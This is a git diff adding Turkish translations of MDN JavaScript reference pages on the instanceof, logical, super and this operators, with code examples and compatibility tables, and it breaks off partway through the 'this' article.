<tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>ECMAScript 1st Edition.</td> + <td>Standard</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>New: Spread operator, destructuring assignment, <code>super</code> keyword, Array comprehensions, Generator comprehensions</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">Operator precedence</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/instanceof/index.html b/files/tr/web/javascript/reference/operatörler/instanceof/index.html new file mode 100644 index 0000000000..3434ea34b9 --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/instanceof/index.html @@ -0,0 +1,207 @@ +--- +title: instanceof +slug: Web/JavaScript/Reference/Operatörler/instanceof +translation_of: Web/JavaScript/Reference/Operators/instanceof +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><code><strong>I</strong></code><strong><code>nstanceof</code> operatorü</strong> bir nesne'nin prototip (prototype) zincirinin, <code>belirli bir prototipin kurucu(constructor) metodu olup olmadığını testeder.</code></p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>object</em> instanceof <em>constructor</em></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>object</code></dt> + <dd>Test edilecek nesne</dd> +</dl> + +<dl> + <dt><code>constructor</code></dt> + <dd>Test edilecek karşı kurucu fonksiyon</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code><strong>I</strong>nstanceof</code> operatorü <span id="result_box" lang="tr"><span>nesnenin prototip zincirinde 'constructor.prototype' varlığını testeder.</span></span></p> + +<pre class="brush: js">// defining constructors +function C() {} +function D() {} + +var o = new C(); + +// true, because: Object.getPrototypeOf(o) === C.prototype +o instanceof C; + +// false, because D.prototype is nowhere in o's prototype chain +o instanceof D; + +o instanceof Object; // true, because: +C.prototype instanceof Object // true + +C.prototype = {}; +var o2 = new C(); + +o2 instanceof C; // true + +// false, because C.prototype is nowhere in +// o's prototype chain anymore +o instanceof C; + +D.prototype = new C(); // add C to [[Prototype]] linkage of D +var o3 = new D(); +o3 instanceof D; // true +o3 instanceof C; // true since C.prototype is now in o3's prototype chain +</pre> + +<p>Bir instanceof testinin değerinin yapıcıların prototip özelliklerinde yapılan değişikliklere göre değişebileceğini ve Object.setPrototypeOf kullanılarak bir nesne prototipini değiştirerek de değişebileceğini unutmayın. Standart olmayan __proto__ sözde-özelliği(pseudo-property) kullanarak da mümkündür.</p> + +<h3 id="instanceof_ve_çoklu_bağlam_(multiple_context)_(e.g._frames_or_windows)"><code>instanceof</code> ve çoklu bağlam (multiple context) (e.g. frames or windows)</h3> + +<p>Farklı kapsamların (Scopes) farklı yürütme (execution) ortamları vardır. Bu, farklı yerleşik yapılara sahip oldukları anlamına gelir (farklı global nesne, farklı yapıcılar, vb.). Bu, beklenmedik sonuçlara neden olabilir. Örneğin, [] instanceof window.frames [0] .Array false döndürür, çünkü Array.prototype! == window.frames [0] .Array ve diziler belli bir dizgeden (former) miras alırlar. Bu başlangıçta mantıklı gelmeyebilir, ancak betiğinizde (script) birden çok cerceve (frame) veya pencereyi (window) ele almaya başladığınızda ve nesneleri fonsiyonlarla bir bağlamdan diğerine geçirirken, bu geçerli ve güçlü bir sayı olacaktır. Örneğin, belirli bir nesnenin aslında Array.isArray (myObj) kullanarak bir Array olup olmadığını güvenli bir şekilde kontrol edebilirsiniz.</p> + +<div class="note"><strong>Mozilla geliştiricleri için not:</strong> + +<p>Kodda XPCOM kullanımının özel bir etkisi vardır: obj instanceof xpcomInterface (ör. Components.interfaces.nsIFile), obj.QueryInterface (xpcomInterface) çağırır ve QueryInterface başarılı olursa true değerini döndürür. Bu tür bir aramanın bir yan etkisi, başarılı bir örnekleme sonucunda obj'de xpcomInterface özelliklerini kullanabilmenizdir. Standart JavaScript globals'ın aksine, test obj instance of xpcomInterface, obj farklı bir kapsamdan olsa bile beklendiği gibi çalışır.</p> +</div> + +<h2 id="Examples">Examples</h2> + +<h3 id="Demonstrating_that_String_and_Date_are_of_type_Object_and_exceptional_cases">Demonstrating that <code>String</code> and <code>Date</code> are of type <code>Object</code> and exceptional cases</h3> + +<p>The following code uses <code>instanceof</code> to demonstrate that <code>String</code> and <code>Date</code> objects are also of type <code>Object</code> (they are derived from <code>Object</code>).</p> + +<p>However, objects created with the object literal notation are an exception here: Although the prototype is undefined, <code>instanceof Object</code> returns <code>true</code>.</p> + +<pre class="brush: js">var simpleStr = 'This is a simple string'; +var myString = new String(); +var newStr = new String('String created with constructor'); +var myDate = new Date(); +var myObj = {}; + +simpleStr instanceof String; // returns false, checks the prototype chain, finds undefined +myString instanceof String; // returns true +newStr instanceof String; // returns true +myString instanceof Object; // returns true + +myObj instanceof Object; // returns true, despite an undefined prototype +({}) instanceof Object; // returns true, same case as above + +myString instanceof Date; // returns false + +myDate instanceof Date; // returns true +myDate instanceof Object; // returns true +myDate instanceof String; // returns false +</pre> + +<h3 id="Demonstrating_that_mycar_is_of_type_Car_and_type_Object">Demonstrating that <code>mycar</code> is of type <code>Car</code> and type <code>Object</code></h3> + +<p>The following code creates an object type <code>Car</code> and an instance of that object type, <code>mycar</code>. The <code>instanceof</code> operator demonstrates that the <code>mycar</code> object is of type <code>Car</code> and of type <code>Object</code>.</p> + +<pre class="brush: js">function Car(make, model, year) { + this.make = make; + this.model = model; + this.year = year; +} +var mycar = new Car('Honda', 'Accord', 1998); +var a = mycar instanceof Car; // returns true +var b = mycar instanceof Object; // returns true +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.4.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof" title="/en-US/docs/JavaScript/Reference/Operators/typeof">typeof</a></code></li> + <li>{{jsxref("Symbol.hasInstance")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/mantiksal_operatorler/index.html b/files/tr/web/javascript/reference/operatörler/mantiksal_operatorler/index.html new file mode 100644 index 0000000000..b283f9e06c --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/mantiksal_operatorler/index.html @@ -0,0 +1,311 @@ +--- +title: Mantıksal Operatörler +slug: Web/JavaScript/Reference/Operatörler/Mantiksal_Operatorler +tags: + - Değil + - JavaScript + - Mantıksal Operatörler + - Operator + - Referans + - ve + - ya da +translation_of: Web/JavaScript/Reference/Operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Mantıksal operatörler genellikle {{jsxref("Boolean")}} (mantıksal) değerleri ile kullanılır. Kullanıldıklarında, bir boolean değer döndürürler. Ancak, <code>&&</code> ve <code>||</code> operatörleri aslında belirtilmiş olan operandlardan birinin değerini döndürür, bu sebeple eğer bu operatörler Boolean olmayan değerler ile kullanılırsa, Boolean olmayan değerler üretebilirler.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Mantıksal operatörler aşağıdaki tabloda açıklanıyor:</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Operatör</th> + <th>Kullanım</th> + <th>Açıklama</th> + </tr> + <tr> + <td>Mantıksal VE (<code>&&</code>)</td> + <td><code><em>expr1</em> && <em>expr2</em></code></td> + <td>Eğer <code>expr1</code> false değerine dönüştürülebilirse, <code>expr1</code> döndürülür. Aksi halde, <code>expr2</code> döndürülür. Böylece, Boolean değerleri ile kullanıldıklarında, <code>&&</code> her iki operand <code>true</code> ise <code>true</code> ; aksi halde, <code>false</code> döndürür.</td> + </tr> + <tr> + <td>Mantıksal YA DA (<code>||</code>)</td> + <td><code><em>expr1</em> || <em>expr2</em></code></td> + <td>Eğer <code>expr1</code> true değerine dönüştürülebilirse, expr1 döndürülür, aksi halde, <code>expr2</code> döndürülür. Böylece, Boolean değerleri ile kullanıldıklarında, <code>||</code> her iki operanddan herhangi biri <code>true</code> ise <code>true</code> döndürür.</td> + </tr> + <tr> + <td>Mantıksal DEĞİL (<code>!</code>)</td> + <td><code>!<em>expr</em></code></td> + <td>Eğer operandın değeri <code>true</code> is false döndürür, aksi alde <code>true</code> döndürür.</td> + </tr> + </tbody> +</table> + +<p>Eğer bir değer <code>true</code> değerine dönüştürülebiliyorsa, ona {{Glossary("truthy")}} ismi verilir. Eğer bir değer <code>false</code> değerine dönüştürülebiliyorsa, ona {{Glossary("falsy")}} denir.</p> + +<p><code><a href="https://developer.mozilla.org/en-US/docs/Glossary/Falsy">False</a></code> değerine dönüştürülebilen ifadelere örnekler:</p> + +<ul> + <li><code>null</code>;</li> + <li><code>NaN;</code></li> + <li><code>0</code>;</li> + <li>boş string (<code>""</code>); </li> + <li><code>undefined</code>.</li> +</ul> + +<p>&& ve || operatörleri <code>Boolean</code> olmayan değerler ile kullanılabiliyor olmasına rağmen, döndürdükleri değerler her zaman <code>Boolean</code> değerlerine çevirilebildiğinden, halen <code>Boolean</code> operatörleri olarak düşünülebilirler.</p> + +<h3 id="Kısa-devre_değerlendirmeleri">Kısa-devre değerlendirmeleri</h3> + +<p>Mantıksal operatörler soldan sağa çalıştırıldıkları gibi, mümkünse aşağıdaki kurallar kullanılarak "kısa devre" testine tabi tutulurlar:</p> + +<ul> + <li><code>false && (<em>herhangi)</em></code> bir kısa devre, false değerine çevrilir.</li> + <li><code>true || (<em>herhangi)</em></code> bir kısa devre, true değerine çevrilir.</li> +</ul> + +<p>Mantık kuralları bu değerlendirmelerin doğruluğunu garantiler. Yukarıdaki ifadelerin tümünün çalıştırılmayacağına, bu sebeple hepsinin yan etkisinin olmayacağına dikkat edin. Ayrıca yukarıdaki ifadenin <code>(herhangi)</code> kısmının tamamıyla bir mantıksal ifadeye eşit olduğuna dikkat edin. (parantezler ile gösterildiği gibi).</p> + +<p>Örneğin, aşağıdaki iki fonksiyon birbirinin aynısıdır.</p> + +<pre class="brush: js">function shortCircuitEvaluation() { + doSomething() || doSomethingElse() +} + +function equivalentEvaluation() { + var flag = doSomething(); + if (!flag) { + doSomethingElse(); + } +} +</pre> + +<p>Ancak, aşağıdaki ifadeler operatör önceliğine göre eşit değildir ve sağ el operatörünün tek bir ifade olmasının önemini vurgular (gerekirse parantezler ile gruplanır).</p> + +<pre class="brush: js">false && true || true // returns true +false && (true || true) // returns false</pre> + +<h3 id="Mantıksal_VE_()"><a name="Logical_AND">Mantıksal VE (<code>&&</code>)</a></h3> + +<p>Aşağıdaki kod && (mantıksal VE) operatörüyle ilgili örnekleri gösterir.</p> + +<pre class="brush: js">a1 = true && true // t && t returns true +a2 = true && false // t && f returns false +a3 = false && true // f && t returns false +a4 = false && (3 == 4) // f && f returns false +a5 = "Cat" && "Dog" // t && t returns "Dog" +a6 = false && "Cat" // f && t returns false +a7 = "Cat" && false // t && f returns false +a8 = "" && false // returns "" +a9 = false && || // returns false +</pre> + +<h3 id="Mantıksal_YA_DA_()"><a name="Logical_OR">Mantıksal YA DA (<code>||</code>)</a></h3> + +<p>Aşağıdaki kod || (mantıksal YA DA) operatörüyle ilgili örnekleri gösterir.</p> + +<pre class="brush: js">o1 = true || true // t || t returns true +o2 = false || true // f || t returns true +o3 = true || false // t || f returns true +o4 = false || (3 == 4) // f || f returns false +o5 = "Cat" || "Dog" // t || t returns "Cat" +o6 = false || "Cat" // f || t returns "Cat" +o7 = "Cat" || false // t || f returns "Cat" +o8 = "" || false // returns false +o9 = false || "" // returns "" +</pre> + +<h3 id="Mantıksal_DEĞİL_(!)"><a name="Logical_NOT">Mantıksal DEĞİL (<code>!</code>)</a></h3> + +<p>Aşağıdaki kod ! (mantıksal DEĞİL) operatörüyle ilgili örnekleri gösterir.</p> + +<pre class="brush: js">n1 = !true // !t returns false +n2 = !false // !f returns true +n3 = !"Cat" // !t returns false +</pre> + +<h3 id="Dönüşüm_kuralları">Dönüşüm kuralları</h3> + +<h4 id="VE_operatörünü_YA_DA_operatörüne_dönüştürmek">VE operatörünü YA DA operatörüne dönüştürmek</h4> + +<p>Booleanları içeren aşağıdaki ifade:</p> + +<pre class="brush: js">bCondition1 && bCondition2</pre> + +<p>her zaman şuna eşittir:</p> + +<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre> + +<h4 id="YA_DA_operatörünü_VE_operatörüne_çevirmek">YA DA operatörünü VE operatörüne çevirmek</h4> + +<p>Booleanları içeren aşağıdaki ifade:</p> + +<pre class="brush: js">bCondition1 || bCondition2</pre> + +<p>her zaman şuna eşittir:</p> + +<pre class="brush: js">!(!bCondition1 && !bCondition2)</pre> + +<h4 id="DEĞİL_operatörleri_arasında_dönüşüm_yapmak">DEĞİL operatörleri arasında dönüşüm yapmak</h4> + +<p>Booleanları içeren aşağıdaki ifade:</p> + +<pre class="brush: js">!!bCondition</pre> + +<p>her zaman şuna eşittir: </p> + +<pre class="brush: js">bCondition</pre> + +<h3 id="İç_içe_geçmiş_parantezleri_kaldırmak">İç içe geçmiş parantezleri kaldırmak</h3> + +<p>Mantıksal operatörlerin soldan sağa değerlendirilmesi durumunda, kompleks bir ifadeden parantezleri bazı kuralları takip ederek kaldırmak mümkündür.</p> + +<h4 id="İç_içe_geçmiş_VE_operatörünü_kaldırmak">İç içe geçmiş VE operatörünü kaldırmak</h4> + +<p>Aşağıda, Boolean içeren bu bileşik işlem:</p> + +<pre class="brush: js">bCondition1 || (bCondition2 && bCondition3)</pre> + +<p>her zaman şuna eşittir:</p> + +<pre class="brush: js">bCondition1 || bCondition2 && bCondition3</pre> + +<h4 id="İç_içe_geçmiş_YA_DA_operatörünü_kaldırmak">İç içe geçmiş YA DA operatörünü kaldırmak</h4> + +<p>Aşağıda, Boolean içeren bu bileşik ifade:</p> + +<pre class="brush: js">bCondition1 && (bCondition2 || bCondition3)</pre> + +<p>her zaman şuna eşittir:</p> + +<pre class="brush: js">!(!bCondition1 || !bCondition2 && !bCondition3)</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>İlk tanım.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.11')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Tarifnamenin birkaç bölümünde tanımlandı: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Binary Logical Operators</a></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Tarifnamenin birkaç bölümünde tanımlandı: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">Binary Logical Operators</a></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Tarifnamenin birkaç bölümünde tanımlandı: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Binary Logical Operators</a></td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Mantıksal VE (<code>&&</code>)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td> + <p>Mantıksal YA DA (<code>||</code>)</p> + </td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Mantıksal DEĞİL (<code>!</code>)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Android üzerinde Chrome</th> + <th>Firefox Mobil (Gecko)</th> + <th>IE Mobil</th> + <th>Opera Mobil</th> + <th>Safari Mobil</th> + </tr> + <tr> + <td>Logical AND (<code>&&</code>)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Logical OR (<code>||</code>)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Logical NOT (<code>!</code>)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_bakın">Ayrıca bakın</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise operators</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/super/index.html b/files/tr/web/javascript/reference/operatörler/super/index.html new file mode 100644 index 0000000000..3dd3f62ebf --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/super/index.html @@ -0,0 +1,165 @@ +--- +title: super +slug: Web/JavaScript/Reference/Operatörler/super +translation_of: Web/JavaScript/Reference/Operators/super +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><strong>super, </strong>ebeveyn sınıftaki fonksiyonlara ulaşmak ve onları çağırmak için kullanılan bir ifadedir.</p> + +<p>The <code>super.prop</code> and <code>super[expr]</code> expressions are valid in any <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definition</a> in both <a href="/en-US/docs/Web/JavaScript/Reference/Classes">classes</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object literals</a>.</p> + +<h2 id="Sözdizimi_Syntax">Sözdizimi (Syntax)</h2> + +<pre class="syntaxbox notranslate">super([arguments]); // ebeveyn sınıfın constructot'ını çağırır. +super.functionOnParent([arguments]); // ebeveyn sınıftaki functionOnParent fonksiyonunu çalıştırır. +</pre> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Constructor içinde <code>super</code> ifadesi tek başına kullanılır ve <code>this</code> ifadesinden önce kullanılması zorunludur. Aynı zamanda <code>super</code> ifadesi ebeveyn sınıftaki fonksiyonları çağırmak için de kullanılabilir.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Sınflarda_super_kullanımı">Sınflarda <code>super</code> kullanımı</h3> + +<p>This code snippet is taken from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>). Here <code>super()</code> is called to avoid duplicating the constructor parts' that are common between <code>Rectangle</code> and <code>Square</code>.</p> + +<pre class="brush: js notranslate">class Rectangle { + constructor(height, width) { + this.name = 'Rectangle'; + this.height = height; + this.width = width; + } + sayName() { + console.log('Hi, I am a ', this.name + '.'); + } + get area() { + return this.height * this.width; + } + set area(value) { + this._area = value; + } +} + +class Square extends Rectangle { + constructor(length) { + this.height; // ReferenceError, super needs to be called first! + + // Here, it calls the parent class's constructor with lengths + // provided for the Rectangle's width and height + super(length, length); + + // Note: In derived classes, super() must be called before you + // can use 'this'. Leaving this out will cause a reference error. + this.name = 'Square'; + } +}</pre> + +<h3 id="Super-calling_static_methods">Super-calling static methods</h3> + +<p>You are also able to call super on <a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a> methods.</p> + +<pre class="brush: js notranslate">class Rectangle { + static logNbSides() { + return 'I have 4 sides'; + } +} + +class Square extends Rectangle { + static logDescription() { + return super.logNbSides() + ' which are all equal'; + } +} +Square.logDescription(); // 'I have 4 sides which are all equal' +</pre> + +<h3 id="Deleting_super_properties_will_throw_an_error">Deleting super properties will throw an error</h3> + +<p>You cannot use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete operator</a> and <code>super.prop</code> or <code>super[expr]</code> to delete a parent class' property, it will throw a {{jsxref("ReferenceError")}}.</p> + +<pre class="brush: js notranslate">class Base { + foo() {} +} +class Derived extends Base { + delete() { + delete super.foo; // this is bad + } +} + +new Derived().delete(); // ReferenceError: invalid delete involving 'super'. </pre> + +<h3 id="super.prop_cannot_overwrite_non-writable_properties"><code>super.prop</code> cannot overwrite non-writable properties</h3> + +<p>When defining non-writable properties with e.g. {{jsxref("Object.defineProperty")}}, <code>super</code> cannot overwrite the value of the property.</p> + +<pre class="brush: js notranslate">class X { + constructor() { + Object.defineProperty(this, 'prop', { + configurable: true, + writable: false, + value: 1 + }); + } +} + +class Y extends X { + constructor() { + super(); + } + foo() { + super.prop = 2; // Cannot overwrite the value. + } +} + +var y = new Y(); +y.foo(); // TypeError: "prop" is read-only +console.log(y.prop); // 1 +</pre> + +<h3 id="Using_super.prop_in_object_literals">Using <code>super.prop</code> in object literals</h3> + +<p>Super can also be used in the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal</a> notation. In this example, two objects define a method. In the second object, <code>super</code> calls the first object's method. This works with the help of {{jsxref("Object.setPrototypeOf()")}} with which we are able to set the prototype of <code>obj2</code> to <code>obj1</code>, so that <code>super</code> is able to find <code>method1</code> on <code>obj1</code>.</p> + +<pre class="brush: js notranslate">var obj1 = { + method1() { + console.log('method 1'); + } +} + +var obj2 = { + method2() { + super.method1(); + } +} + +Object.setPrototypeOf(obj2, obj1); +obj2.method2(); // logs "method 1" +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + + + +<p>{{Compat("javascript.operators.super")}}</p> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/this/index.html b/files/tr/web/javascript/reference/operatörler/this/index.html new file mode 100644 index 0000000000..674e577187 --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/this/index.html @@ -0,0 +1,347 @@ +--- +title: this +slug: Web/JavaScript/Reference/Operatörler/this +translation_of: Web/JavaScript/Reference/Operators/this +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><strong>Fonksiyon'un <code>this</code> anahtar kelimesi</strong> diğer dillere göre birazcık farklı davranır. Ayrıca <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict modu</a> ve non-strict modu arasında farklılıklar bulunur.</p> + +<p>Çoğunlukla, <code>this</code>'in değeri fonksiyonun çağrılma biçimine göre belirlenir. Çalışma esnasında değeri değiştirilemez, ve her fonksiyonu çağırışta farklı olabilir. ES5 bu adreste <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind</a></code> method to <a href="#The_bind_method">set the value of a function's <code>this</code> regardless of how it's called</a>.</p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">this</pre> + +<h2 id="Global_içerik">Global içerik</h2> + +<p>Global konumda (fonksiyon dışında), <code>this</code> global nesnesini referans gösterir, strict modunda olmak bu durumu değiştirmez..</p> + +<pre class="brush:js">console.log(this.document === document); // true + +// Web browserlerinde window objesi global objedir.: +console.log(this === window); // true + +this.a = 37; +console.log(window.a); // 37 +</pre> + +<h2 id="Function_içerik">Function içerik</h2> + +<p>Fonksiyon içerisinde, <code>this</code>'in değeri fonksiyonun nasıl çağrıldığına bağlıdır..</p> + +<h3 id="Basit_çağrı">Basit çağrı</h3> + +<pre class="brush:js">function f1(){ + return this; +} + +f1() === window; // global obje +</pre> + +<p>Bu durumda, <code>this</code>'in değeri çağrı ile ayarlanmaz. Kod strict modda olmadığı sürece, <code>this</code>'in değeri mutlaka obje olmalıdır bu yüzdende default değer olan global objesi döner.</p> + +<pre class="brush:js">function f2(){ + "use strict"; // strict modu içerisinde çalıştıralım + return this; +} + +f2() === undefined; +</pre> + +<p>Strict modu içerisinde, <code>this</code>'in değeri çalıştırılma içeriğine nasıl girdiyse o şekilde kalır. Eğer tanımlanmamışsa, undefined olarak kalır. Ayrıca tüm değerlere eşitlenebilir, örneğin <code>null</code> yada <code>42</code> yada <code>"I am not this"</code>.</p> + +<div class="note"><strong>Not:</strong> İkinci örnekte, <code>this</code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a> olmalıdır, çünkü <code>f2</code> taban belirtilmeden çağrılmıştır. (örn: <code>window.f2()</code>). Bu özellik bazı browserlerde desteklenmemektedir. <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">strict mod</a> henüz geliştirme aşamasındayken çoğu browser yanlış davranarak <code>window</code> objesini döndürür.</div> + +<h3 id="Obje_methodu_cağrısı">Obje methodu cağrısı</h3> + +<p>Fonksiyon bir objenin methodu olarak çağrıldığında, <code>this</code> çağrıldığı obje olarak atanacaktır.</p> + +<p>In the following example, when <code>o.f()</code> is invoked, inside the function <code>this</code> is bound to the <code>o</code> object.</p> + +<pre class="brush:js">var o = { + prop: 37, + f: function() { + return this.prop; + } +}; + +console.log(o.f()); // logs 37 +</pre> + +<p>Note that this behavior is not at all affected by how or where the function was defined. In the previous example, we defined the function inline as the <code>f</code> member during the definition of <code>o</code>. However, we could have just as easily defined the function first and later attached it to <code>o.f</code>. Doing so results in the same behavior:</p> + +<pre class="brush:js">var o = {prop: 37}; + +function independent() { + return this.prop; +} + +o.f = independent; + +console.log(o.f()); // logs 37 +</pre> + +<p>This demonstrates that it matters only that the function was invoked from the <code>f</code> member of <code>o</code>.</p> + +<p>Similarly, the <code>this</code> binding is only affected by the most immediate member reference. In the following example, when we invoke the function, we call it as a method <code>g</code> of the object <code>o.b</code>. This time during execution, <code>this</code> inside the function will refer to <code>o.b</code>. The fact that the object is itself a member of <code>o</code> has no consequence; the most immediate reference is all that matters.</p> + 